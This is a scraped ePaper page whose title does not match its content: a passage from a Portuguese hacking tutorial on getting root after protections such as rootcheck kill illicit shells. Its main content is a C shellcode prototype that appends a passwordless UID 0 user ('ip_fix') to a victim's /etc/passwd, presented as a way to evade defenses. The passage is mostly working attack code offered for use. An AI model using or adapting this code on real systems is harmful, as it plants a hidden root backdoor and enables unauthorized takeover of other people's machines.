01.01.2013 Views

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

haverá certos casos que existirão programas que não permitirão a<br />

obtenção de shell através de ataques básicos como buffer overflow<br />

(stack) e teremos que ser criativos para burlamos. Enfim, cada caso é um<br />

caso! Nem sempre as coisas são o que parecem ser, então teremos que<br />

ter uma grande malícia para burlar determinados sistemas de<br />

proteção como o rootcheck, por exemplo, que ao obtermos uma root<br />

shell não autorizada, o próprio irá killar o processo em que estamos.<br />

Ohhh!!! Será o fim??? Claro que não!!! Programas desse gênero derruba<br />

quem obtém uma root shell atráves de shellcodes como o acima, mas<br />

não existe apenas uma maneira de conseguirmos acesso root, como<br />

conseguiremos então?<br />

Pense o seguinte: Sabemos escrever na tela, o que nos impede de<br />

escrevermos em arquivos? Sabendo disso, nada nos impede de<br />

adicionarmos um usuário com privilégios root no /etc/passwd da<br />

vítima!!! Devolta aos protótipos!!! :D<br />

shellcode/cpasswd.c<br />

/*<br />

* Protótipo de shellcode em C.<br />

* Adiciona um usuário com premissões root.<br />

* by IP_FIX .<br />

* MotdLabs .<br />

* Compilação: # gcc -o cpasswd cpasswd.c<br />

*/<br />

#include <br />

#include <br />

#include <br />

main() {<br />

/* Declaramos passwd como um inteiro. */<br />

int passwd;<br />

/* Usamos open para abrir o arquivo; atenção nas flags!!!<br />

* O_RDWR: Read and Write/Leitura e Escrita.<br />

* O_APPEND: O ponteiro será apontado no fim do arquivo.<br />

*/<br />

/* passwd = open("/etc/passwd",O_RDWR|O_APPEND); */<br />

passwd = open("/etc/passwd",1026);<br />

/* Após aberto, escrevemos nossa string no arquivo desejado. */<br />

/* write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",strlen<br />

("\nip_fix::0:0::/root:/bin/sh\n")); */<br />

write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",30);<br />

/* Sai livremente. */<br />

exit(0);<br />

}<br />

shellcode/cpasswd.c<br />

84

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!